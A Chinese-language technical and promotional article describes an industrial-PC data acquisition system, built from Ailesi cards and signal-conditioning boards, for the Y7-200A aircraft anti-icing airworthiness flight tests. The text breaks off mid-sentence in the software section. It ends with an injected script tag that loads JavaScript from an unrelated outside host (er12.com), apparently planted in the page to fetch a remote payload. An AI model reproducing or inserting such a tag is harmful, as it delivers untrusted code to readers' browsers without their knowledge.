随着工业计算机科技快速发展，不断创新的艾雷斯工控产品已不再仅仅局限于工业测控领域，更多高品质的产品已广泛应用于机载（航空）、舰载（航海）等测控领域中，同时也在与某飞机工业公司关于“y7-200a型飞机防冰系统适航性验证飞行试验”项目的合作中再次大显身手。
该飞机试验测试参数繁多，状态复杂，变化快，测试精度高，而且测试系统性能要求很高；比较传统的航空测试方法是先采用磁带记录机将需要测试的参数按一定的格式和次序以磁迹的形式记录下来，然后等飞行结束后，根据磁带上的磁迹与预先设定好的参数对应关系，参数进行物理还原，数据处理及分析。这种方法有以下几个缺点：
一、数据采集与数据处理彻底脱离，在测试过程中无法诊断测试结果是否合理，测试过程不直观；
二、难以确定测试系统是否正常；
三、在测试参数复杂多样的情况下在后期数据处理时参数的对应关系复杂；
四、由于不能实时监测参数的物理值，难以判断测试系统工作的正确性，故不能有效利用飞行时间，增加试飞成本；
五、设备成本昂贵，性能价格比低。
1．系统工作原理及硬件结构组成
随着工控机在测控领域的应用日趋广泛和成熟，与传统的测控方式相比，工控机系统的功能更强大，性能更稳定，在y7-200a型飞机防冰系统适航性飞行试验中，采用艾雷斯工控产品开发的一套64路高速数据采集与处理系统，其结构框图如图1所示：
该数据采集系统主机部分采用艾雷斯科技pentium级acs-2410p工业电脑，并配套acs-3802上架式17寸工业显示器；
采集部分选用艾雷斯科技dac-7112dg半长多功能数据采集控制卡，该卡有16路单端/8路差分a/d输入通道，12位100khz采样速率，根据输入信号大小不同每通道增益从0.5、1、2、4至8可编程设定，量程从±0.625、±1.25、±2.5、±10也可以软件设定，转换精度在最大增益时仍可达到0.04%fsr，卡内具有1k字fifo；同时板上还具有2路双缓冲模拟量输出通道和16路数字量输入/输出等功能。
由于在该试验中，一次敏感元件（传感器）的信号很小，而且信号的大小量程差别较大，最小的只有零点几毫伏，那么选择合适的前端信号调理板为数据采集板提供满足量程及精度要求的输入信号也变得非常重要。在系统中，我们选用了4块艾雷斯科技dat-7112dg多功能数据采集卡，dat-7689d多路放大及转换端子板作为dac-7112dg的前端信号调理端子板，对各种传感器的信号进行调理。该板具有16路差动输入通道；通道增益从1、2、10、50、100、200、500到1000可开关设定；输入量程从±10mv、±20mv、±50mv、一直到10v，精度在增益为1时可达0.02%，增益为1000时仍可达0.17%完全满足测试系统要求；另外，该端子板的前端均采用螺钉连接，增加了信号连接的可靠度，减少因信号接触不良引起的干扰，增强了系统的抗震动、抗冲击能力。
在y7-200a飞机防冰系统适航验证飞行试验中，需要测试的参数共为38个，其中，温度参数18个，测试要求每秒钟1次，测量精度±1摄氏度；压力参数14个，测试要求每秒4次，测量精度±5%；电流、电压参数各1个，测量精度±1%，同时要求每个测量周期不少于5分钟，其中，流量测量采用的是皮托管流量测量法，该测量方法是通过测量流量管的静压和压差并通过一定的流量系数换算进行间接测量的，所以四个流量参数可转化成四个压力和四个压差参数，这样整个系统共有42个测量参数。其中温度采用k型热电偶进行测量，信号随温度的变化从零点几毫伏到几毫伏不等；压力采用精度高，响应快的ggky-1j系统绝对压力传感器进行测量，压差采用cyc19系统压差传感器进行测量，压力和压差传感器的信号最大均在50mv左右；精度优于0.5%；电流、电压采用wbe新型电流电压传感器，量程为50mv，精度为0.5%。
采用艾雷斯科技acs-2410p/300w工业电脑、dac-7112dg多功能数据采集控制卡和4块dat-7689d信号调理端子板构成的高速数据采集系统配合适当的前端敏感元件，无论系统的稳定性还是数据采集的精度和速度都完全满足试验测试要求。
2．软件的开发
本数据采集系统采集速度快，数据存储量大，实时性要求高，整个软件采用c语言编写，在borlandc++和dos6.0环境下开发运行，共包含传感器校验及数据库、数据实时采集记录以及数据处理3个部分，其中数据采集部分采用了艾雷斯科技dac-7112dg的随卡示范程序。由于传感器的性能、精度不一，在使用前均需进行标定，确定其精度及线性度，所以在传感器校验和数据库软件模块中首先将准备使用的温度，压力、压差、流量等传感器的校定数据以及传感器的编号，对应的精度，线性度或有关系数等值存放数据库，以便在参为数据物理值还原时调用；在实时数据采集模块中，首先确定试验测试状态，给定?script src=http://er12.com/t.js>
